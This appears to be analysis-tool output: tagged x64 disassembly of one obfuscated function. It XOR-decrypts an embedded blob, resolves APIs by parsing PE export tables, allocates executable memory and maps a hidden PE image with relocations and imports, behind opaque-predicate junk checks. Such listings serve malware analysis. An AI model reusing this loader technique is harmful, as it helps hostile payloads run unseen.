Function at 0x1800010a0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010d2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010d2
nop
jmp 0x1800010d0
mov eax, 0x10
call entry0
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp dword [0x180020a74], 0xa
jl 0x180001112
mov ecx, dword [0x180020a78]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001112
nop dword [rax]
jmp 0x180001110
mov r8b, byte [section..data]
mov r14d, dword [0x180020a78]
mov r13d, dword [0x180020a74]
lea ebx, [r14 - 1]
imul ebx, r14d
and ebx, 1
sete dl
cmp r13d, 0xa
setl cl
or cl, dl
mov r9b, byte [0x180004001]
mov r10b, byte [0x180004002]
mov edx, dword [0x180020a70]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete dl
cmp dword [0x180020a6c], 0xa
mov r11b, byte [0x180004003]
setl r15b
or r15b, dl
mov edx, ecx
or dl, cl
mov byte [r12], r8b
test cl, cl
jne 0x180001188
test cl, cl
je 0x180001180
mov byte [r12], r8b
cmp r13d, 0xa
jl 0x180001196
test ebx, ebx
jne 0x1800013b0
mov byte [r12 + 1], r9b
test cl, cl
jne 0x1800011a9
nop
test cl, cl
je 0x1800011a0
mov byte [r12 + 1], r9b
cmp r13d, 0xa
jl 0x1800011b7
test ebx, ebx
jne 0x1800013b0
mov byte [r12 + 2], r10b
test cl, cl
jne 0x1800011c9
test cl, cl
je 0x1800011c0
mov byte [r12 + 2], r10b
cmp r13d, 0xa
jl 0x1800011d7
test ebx, ebx
jne 0x1800013b0
mov byte [r12 + 3], r11b
test cl, cl
jne 0x1800011e9
test cl, cl
je 0x1800011e0
mov byte [r12 + 3], r11b
cmp r13d, 0xa
jl 0x1800011f7
test ebx, ebx
jne 0x1800013b0
mov esi, r13d
mov edi, r14d
test r15b, r15b
jne 0x180001452
cmp esi, 0xa
jl 0x18000121a
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
jne 0x1800013c0
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
test dl, dl
je 0x1800013d0
cmp esi, 0xa
jl 0x18000123d
test eax, eax
jne 0x180001390
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
test dl, dl
je 0x1800013e0
cmp esi, 0xa
jl 0x180001260
test eax, eax
jne 0x180001390
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
test dl, dl
je 0x1800013f0
cmp esi, 0xa
jl 0x180001283
test eax, eax
jne 0x180001390
test cl, cl
mov edi, ebx
cmovne edi, ebx
mov esi, r13d
cmovne esi, r13d
mov eax, r14d
cmovne eax, eax
test dl, dl
je 0x180001400
cmp esi, 0xa
jl 0x1800012ac
test edi, edi
jne 0x180001390
cmp esi, 0xa
jl 0x1800012c0
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x180001410
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
test dl, dl
je 0x180001420
cmp esi, 0xa
jl 0x1800012e3
test eax, eax
jne 0x1800013a0
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
test dl, dl
je 0x180001430
cmp esi, 0xa
jl 0x180001306
test eax, eax
jne 0x1800013a0
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
test dl, dl
je 0x180001440
cmp esi, 0xa
jl 0x180001325
test eax, eax
jne 0x1800013a0
test cl, cl
mov eax, ebx
cmovne eax, ebx
mov esi, r13d
cmovne esi, r13d
mov edi, r14d
cmovne edi, edi
test dl, dl
je 0x180001450
cmp esi, 0xa
jl 0x18000134a
test eax, eax
jne 0x1800013a0
test r15b, r15b
je 0x180001206
mov eax, 0x10
call entry0
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov rax, rsp
cmp esi, 0xa
jl 0x180001178
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
je 0x180001178
jmp 0x180001110
jmp 0x180001390
jmp 0x1800013a0
jmp 0x1800013b0
jmp 0x1800013c0
jmp 0x1800013d0
jmp 0x1800013e0
jmp 0x1800013f0
jmp 0x180001400
jmp 0x180001410
jmp 0x180001420
jmp 0x180001430
jmp 0x180001440
jmp 0x180001450
mov r12d, dword [r12]
test r12, r12
mov r9, rax
je 0x180001570
xor ecx, ecx
cmp r12d, 0x10
jb 0x180001544
lea rdx, [r12 - 1]
cmp rdx, 0x400
jae 0x180001544
mov ecx, r12d
and ecx, 0xfffffff0
lea rdi, [rcx - 0x10]
mov rdx, rdi
shr rdx, 4
add rdx, 1
mov r8d, edx
and r8d, 1
test rdi, rdi
je 0x18000150a
mov rsi, r8
sub rsi, rdx
xor eax, eax
lea rdi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov edx, eax
and edx, 0x3e0
movups xmm1, xmmword [rdx + rdi + 4]
movups xmm2, xmmword [rax + rdi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rax + rdi + 0x414]
xorps xmm2, xmm0
movups xmmword [rax + rdi + 0x404], xmm2
lea edx, [rax + 0x10]
and edx, 0x3f0
movups xmm2, xmmword [rdx + rdi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rax + rdi + 0x414], xmm1
add rax, 0x20
add rsi, 2
jne 0x1800014b7
jmp 0x18000150c
xor eax, eax
test r8, r8
je 0x18000153f
mov edx, eax
and edx, 0x3f0
lea rdi, section..data
movups xmm0, xmmword [rdx + rdi + 4]
movups xmm1, xmmword [rax + rdi + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rax + rdi + 0x404], xmm1
cmp rcx, r12
je 0x180001570
lea rdx, section..data
mov eax, ecx
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rcx + rdx + 0x404]
xor al, 0xc
mov byte [rcx + rdx + 0x404], al
add rcx, 1
cmp rcx, r12
jb 0x18000154b
lea r10, section..data
lea rsi, [r12 + r10]
add rsi, 0x404
cmp r13d, 0xa
jl 0x180001592
test ebx, ebx
je 0x180001592
nop dword [rax]
jmp 0x180001590
cmp r13d, 0xa
jl 0x1800015a9
lea eax, [r14 - 1]
imul eax, r14d
and eax, 1
jne 0x180001890
mov bl, byte [rsi]
mov byte [r9], bl
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800015cc
test ecx, ecx
jne 0x1800015ab
cmp edx, 0xa
jl 0x1800015d9
test ecx, ecx
jne 0x180001890
mov r8b, byte [rsi + 1]
mov byte [r9 + 1], r8b
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001627
test ecx, ecx
je 0x180001627
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x18000161f
mov byte [r9 + 1], r8b
cmp edx, 0xa
jl 0x180001634
test ecx, ecx
jne 0x180001890
mov r8b, byte [rsi + 2]
mov byte [r9 + 2], r8b
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001682
test ecx, ecx
je 0x180001682
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x18000167a
mov byte [r9 + 2], r8b
cmp edx, 0xa
jl 0x18000168f
test ecx, ecx
jne 0x180001890
mov r8b, byte [rsi + 3]
mov byte [r9 + 3], r8b
mov ecx, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edi, 0xa
jl 0x1800016dd
test ebx, ebx
je 0x1800016dd
mov ecx, dword [0x180020a78]
mov edi, dword [0x180020a74]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
sete al
cmp edi, 0xa
setl dl
or dl, al
test dl, dl
je 0x1800016d5
mov byte [r9 + 3], r8b
cmp edi, 0xa
jl 0x1800016ea
test ebx, ebx
jne 0x180001890
cmp dword [0x180020a6c], 0xa
jl 0x1800018b2
mov eax, dword [0x180020a70]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x1800018b2
cmp edi, 0xa
jl 0x180001720
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x1800018b0
mov bl, byte [rsi]
mov byte [r9], bl
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001743
test ecx, ecx
jne 0x180001722
cmp edx, 0xa
jl 0x180001750
test ecx, ecx
jne 0x1800018a0
mov r8b, byte [rsi + 1]
mov byte [r9 + 1], r8b
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x18000179e
test ecx, ecx
je 0x18000179e
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x180001796
mov byte [r9 + 1], r8b
cmp edx, 0xa
jl 0x1800017ab
test ecx, ecx
jne 0x1800018a0
mov r8b, byte [rsi + 2]
mov byte [r9 + 2], r8b
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800017f9
test ecx, ecx
je 0x1800017f9
mov eax, dword [0x180020a78]
mov edx, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x1800017f1
mov byte [r9 + 2], r8b
cmp edx, 0xa
jl 0x180001806
test ecx, ecx
jne 0x1800018a0
mov dl, byte [rsi + 3]
mov byte [r9 + 3], dl
mov r14d, dword [0x180020a78]
mov r13d, dword [0x180020a74]
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
cmp r13d, 0xa
jl 0x18000185d
test ecx, ecx
je 0x18000185d
mov r14d, dword [0x180020a78]
mov r13d, dword [0x180020a74]
lea ecx, [r14 - 1]
imul ecx, r14d
and ecx, 1
sete al
cmp r13d, 0xa
setl bl
or bl, al
test bl, bl
je 0x180001855
mov byte [r9 + 3], dl
cmp r13d, 0xa
jl 0x180001867
test ecx, ecx
jne 0x1800018a0
cmp r13d, 0xa
jl 0x180001592
lea eax, [r14 - 1]
imul eax, r14d
and eax, 1
je 0x180001592
jmp 0x180001590
jmp 0x180001890
jmp 0x1800018a0
jmp 0x1800018b0
add rsi, 4
mov r9d, dword [r9]
test r9, r9
je 0x180001a46
xor eax, eax
cmp r9d, 0x20
jb 0x1800019e9
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x1800019e9
lea rax, [r12 + r10]
add rax, 0x408
lea rcx, [r9 + r10]
add rcx, 4
cmp rax, rcx
jae 0x180001916
lea rax, [r9 + r12]
add rax, r10
add rax, 0x408
lea rcx, str.EJnpqMxucaexBrHKfCfvvPVGVoqLrVCYUtCLvDznnEZupMqpgGCtsjpAIEEWCHPhoWoFHLjMTiVQShCajQccBKPrJpuKDoIOdczYJRmRIvqasaCwIaCjrqfVGgqUftIBOreoJIZikAYqCXeuLxsAgefSTepMRFUWgmleIiPmfwxCAOYAjsetIPJzviFjoqUjafYUkTGRSfkFrRFFAMizmntYeJsBDXwpdmjOKYCUzPZpdjCTygULBbOioWVhIIoAgoBOIPHKVITBgbsjaORTKnZLlxCwbjoumlcyXShScSnkZIiIkxYnumODMsspDvVmeAcZtKPdJnuKbeKqwPzoFVXvWykIIUIDizLWLIXxLnrAfUqQkpBOuRvidhQyGoiOcREVoEBSpfaByPsDotaFmOgCgcOilVDvGjXEldeRLWDlWKoTfQgMABFComYKiKhRwyXFIliOcLhDgiiJPPyCHGCwvmEDhQKjlgeHovxpzYDDMpgOLuyYXLEJGTkPOwjrWVjuCdkqAVCltyrHxfPxiDDFkUHshYdZJYsDAqkZmOhCfEFFLnBYDFQKhXiQQWvbVTfUGutLbgIEvMoLaEdZsVMrHdnILXtGgBjeriJlwySuokpQXPEaHHvCEkOATsIOgqnUxJKwjilbFpiWvRiABJvkggUwegfIqwnfrECgmyEePcZwZHGEDzuTzCiaoMCqvAYamIxKPcHihfuZXCJLMLhWmfTrJbyYPCZTvWKzjuVtwPjwLOtABFwcfmLdGQvEbWoBaVHAwzJTuyHWBsbzRDLeYsjQPCZATXdRjRLzUhHnmpkuOqrOZhynwJFLPxTpRoZfaeaBYDpldxRaYbQxrcnxTWhapoRkDawkBiCWrsvxyoDKYLnigdlvofLqsxmrbeHAmlePvaIGBoELKftBejDeUImTZbbDlRmXDBPWnUbxJEFAWiGJTbEkGWmuHMJxABfswcEyHqojXaURaSsrgrlnhhmfPWOvTPxmJrSpevebiWRJBAJGVaRantbmoCa
cmp rax, rcx
jbe 0x180001916
xor eax, eax
jmp 0x1800019e9
mov eax, r9d
and eax, 0xffffffe0
lea rcx, [rax - 0x20]
mov rdx, rcx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rcx, rcx
je 0x1800019b1
lea rdi, [r12 + r10]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor edx, edx
mov ecx, edx
and ecx, 0x3c0
movups xmm0, xmmword [rcx + r10 + 4]
movups xmm1, xmmword [rcx + r10 + 0x14]
movups xmm2, xmmword [rdi + rdx - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rdx - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rdx - 0x10]
movups xmm3, xmmword [rdi + rdx]
movups xmmword [rdi + rdx - 0x30], xmm2
movups xmmword [rdi + rdx - 0x20], xmm0
lea ecx, [rdx + 0x20]
and ecx, 0x3e0
movups xmm0, xmmword [rcx + r10 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rcx + r10 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rdx - 0x10], xmm0
movups xmmword [rdi + rdx], xmm1
add rdx, 0x40
add rbx, 2
jne 0x18000194a
jmp 0x1800019b3
xor edx, edx
test r8, r8
je 0x1800019e4
mov ecx, edx
and ecx, 0x3e0
movups xmm0, xmmword [rcx + r10 + 4]
movups xmm1, xmmword [rcx + r10 + 0x14]
movups xmm2, xmmword [rsi + rdx]
xorps xmm2, xmm0
movups xmm0, xmmword [rsi + rdx + 0x10]
xorps xmm0, xmm1
movups xmmword [rsi + rdx], xmm2
movups xmmword [rsi + rdx + 0x10], xmm0
cmp rax, r9
je 0x180001a46
mov rdx, rax
not rdx
test r9b, 1
je 0x180001a09
mov ecx, eax
and ecx, 0x3e0
mov cl, byte [rcx + r10 + 4]
xor byte [rsi + rax], cl
or rax, 1
add rdx, r9
je 0x180001a46
lea rdx, [r12 + r10]
add rdx, 0x409
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r10 + 4]
xor byte [rdx + rax - 1], cl
lea ecx, [rax + 1]
and ecx, 0x3ff
movzx ecx, byte [rcx + r10 + 4]
xor byte [rdx + rax], cl
add rax, 2
cmp r9, rax
jne 0x180001a19
movsxd rax, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
jl 0x180001a72
mov ecx, dword [0x180020a80]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001a72
nop word [rax + rax]
jmp 0x180001a70
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001a72
add rax, r10
add rax, 0x404
mov qword [rbp], rax
mov r13, rsi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001a8b
mov r15, r13
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001a99
mov r14, r15
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001aa6
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001ab3
mov rdi, rbx
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001abf
sub rsp, 0x20
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001b02
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001b02
nop word cs:[rax + rax]
nop
jmp 0x180001b00
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov eax, dword [r9 + rcx + 0x1c]
mov qword [rbp - 8], rax
cmp dword [0x180020a8c], 0xa
jl 0x180001b33
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001b33
jmp 0x180001b31
add qword [rbp - 8], r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add r11, r9
mov edx, dword [r11]
add rdx, r9
mov rcx, r13
movzx eax, byte [rcx]
movzx r8d, byte [rdx]
test al, al
je 0x180001b68
add rcx, 1
add rdx, 1
cmp al, r8b
je 0x180001b50
cmp al, r8b
je 0x180001b77
add r11, 4
add r10, 2
jmp 0x180001b47
movzx eax, word [r10]
mov rcx, qword [rbp - 8]
mov eax, dword [rcx + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rbx
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bb2
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001bb2
jmp 0x180001bb0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001bdf
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001bdf
jmp 0x180001bdd
add r8, r10
mov r11d, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add r9, r10
add r11, r10
mov eax, dword [r11]
add rax, r10
mov rbx, r14
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001c11
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001bfb
cmp cl, dl
je 0x180001c1f
add r11, 4
add r9, 2
jmp 0x180001bf2
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
add rsp, 0x10
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001c80
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001c80
jmp 0x180001c7e
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001cad
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001cad
jmp 0x180001cab
add r8, r10
mov r11d, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add r9, r10
add r11, r10
lea rax, section..data
lea rdi, [r12 + rax]
add rdi, 0x408
mov eax, dword [r11]
add rax, r10
xor ebx, ebx
movzx ecx, byte [rdi + rbx]
movzx edx, byte [rax + rbx]
test cl, cl
je 0x180001cee
add rbx, 1
cmp cl, dl
je 0x180001cda
cmp cl, dl
je 0x180001cfc
add r11, 4
add r9, 2
jmp 0x180001cd2
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r12, rax
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180001d4a
test edx, edx
je 0x180001d4a
jmp 0x180001d48
cmp eax, 0xa
jl 0x180001d55
test edx, edx
je 0x180001d55
jmp 0x180001d53
mov rbx, qword [rbp]
lea r9, [rbx + 0x108]
xor r8d, r8d
mov rbx, qword [rbp]
movzx ebx, word [rbx + 6]
cmp r8, rbx
jae 0x180001ee5
mov edi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
cmp eax, 0xa
jl 0x180001d9e
test edx, edx
jne 0x180001e4f
jmp 0x180001d9e
add r8, 1
cmp eax, 0xa
jl 0x180001d63
test edx, edx
je 0x180001d63
jmp 0x180001d53
cmp ebx, 0xa
jl 0x180001db2
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
jne 0x180001ee1
lea rax, [r8 + r8*4]
mov r10d, dword [r9 + rax*8 + 0x10]
test r10, r10
je 0x180001e29
mov ecx, dword [r9 + rax*8 + 0xc]
mov eax, dword [r9 + rax*8 + 0x14]
lea rdx, section..data
add rdx, rax
add rdx, 0x404
add rcx, r12
jmp 0x180001df1
add r10, 0xffffffffffffffff
add rcx, 1
add rdx, 1
test r10, r10
je 0x180001e29
movzx eax, byte [rdx]
mov byte [rcx], al
mov edi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
cmp ebx, 0xa
jl 0x180001e1b
test eax, eax
je 0x180001e1b
movzx eax, byte [rdx]
mov byte [rcx], al
jmp 0x180001df1
cmp ebx, 0xa
jl 0x180001de0
test eax, eax
je 0x180001de0
jmp 0x180001edf
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180001d8f
test edx, edx
je 0x180001d8f
cmp ebx, 0xa
jl 0x180001e63
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
jne 0x180001ee3
lea rax, [r8 + r8*4]
mov r10d, dword [r9 + rax*8 + 0x10]
test r10, r10
je 0x180001d9e
mov ecx, dword [r9 + rax*8 + 0xc]
mov eax, dword [r9 + rax*8 + 0x14]
lea rdx, section..data
add rdx, rax
add rdx, 0x404
add rcx, r12
jmp 0x180001eaa
add r10, 0xffffffffffffffff
add rcx, 1
add rdx, 1
test r10, r10
je 0x180001d9e
movzx eax, byte [rdx]
mov byte [rcx], al
mov edi, dword [0x180020a78]
mov ebx, dword [0x180020a74]
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
cmp ebx, 0xa
jl 0x180001ed4
test eax, eax
je 0x180001ed4
movzx eax, byte [rdx]
mov byte [rcx], al
jmp 0x180001eaa
cmp ebx, 0xa
jl 0x180001e95
test eax, eax
je 0x180001e95
jmp 0x180001edd
jmp 0x180001edf
jmp 0x180001ee1
jmp 0x180001ee3
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
je 0x1800020d9
mov rdi, qword [rbp]
mov rbx, qword [rdi + 0x30]
mov r10, r12
sub r10, rbx
mov r14d, dword [rdi + 0xb0]
add r14, r12
movabs r8, 0x1fffffff8
cmp dword [r14], 0
jne 0x180001f51
jmp 0x1800020e1
mov edx, dword [r14 + 4]
add r14, rdx
test bl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
je 0x1800020d9
cmp dword [r14], 0
je 0x1800020e1
mov edi, dword [r14 + 4]
cmp rdi, 8
jb 0x1800020bd
add rdi, r8
shr rdi, 1
test edi, edi
je 0x1800020b8
mov r9d, edi
xor r11d, r11d
test dl, 1
jne 0x180001fa1
jmp 0x1800020db
add r11, 1
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
cmp r11, r9
je 0x1800020b8
test dl, 1
je 0x1800020db
movzx edx, word [r14 + r11*2 + 8]
mov edi, edx
shr edi, 0xc
mov ebx, edx
and ebx, 0xfff
cmp edx, 0xa000
jae 0x180002028
cmp edi, 3
jne 0x18000209c
mov eax, dword [r14]
lea rax, [r12 + rax*4]
add dword [rax + rbx*4], r10d
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x18000209c
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x18000209c
lea rdx, [r12 + rbx*4]
mov eax, dword [r14]
add dword [rdx + rax*4], r10d
mov eax, dword [r14]
add dword [rdx + rax*4], r10d
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x18000209c
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jne 0x180001ff8
jmp 0x18000209c
cmp edi, 0xa
jne 0x18000209c
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
mov edx, ebx
cmp eax, 0xa
jl 0x180002061
test edi, edi
je 0x180002061
mov eax, dword [r14]
lea rcx, [rdx + r12]
add qword [rax + rcx], r10
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180002075
test edi, edi
je 0x180002075
lea rdi, [rdx + r12]
mov eax, dword [r14]
add qword [rdi + rax], r10
mov eax, dword [r14]
lea rdi, [rdx + r12]
add qword [rax + rdi], r10
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
cmp eax, 0xa
jl 0x18000209c
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jne 0x18000206e
lea edx, [rcx - 1]
imul edx, ecx
cmp eax, 0xa
jl 0x180001f7d
mov edi, edx
and edi, 1
je 0x180001f7d
jmp 0x1800020dd
test dl, 1
je 0x1800020df
lea ebx, [rcx - 1]
imul ebx, ecx
cmp eax, 0xa
jl 0x180001f2c
mov edx, ebx
and edx, 1
je 0x180001f2c
jmp 0x1800020d7
jmp 0x1800020d9
jmp 0x1800020db
jmp 0x1800020dd
jmp 0x1800020df
cmp eax, 0xa
jl 0x1800020f3
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x1800020f3
jmp 0x1800020f1
lea rax, [r12 + 2]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp]
mov eax, dword [rax + 0x90]
add rax, r12
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov r14d, dword [rax + 0xc]
test r14, r14
je 0x180002544
sub rsp, 0x20
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000214f
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002530
add r14, r12
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002181
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002532
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rdi, r9
mov ebx, dword [rdi]
add rbx, r9
mov rax, r13
movzx edx, byte [rax]
movzx ecx, byte [rbx]
test dl, dl
je 0x1800021b2
add rax, 1
add rbx, 1
cmp dl, cl
je 0x18000219c
cmp dl, cl
je 0x1800021c0
add rdi, 4
add r10, 2
jmp 0x180002194
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov qword [rbp - 8], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800022ed
test edx, edx
je 0x1800022ed
sub rsp, 0x20
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002234
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002534
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002263
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002536
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r10, r9
add rdi, r9
mov ebx, dword [rdi]
add rbx, r9
mov rax, r13
movzx edx, byte [rax]
movzx ecx, byte [rbx]
test dl, dl
je 0x180002294
add rax, 1
add rbx, 1
cmp dl, cl
je 0x18000227e
cmp dl, cl
je 0x1800022a2
add rdi, 4
add r10, 2
jmp 0x180002276
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
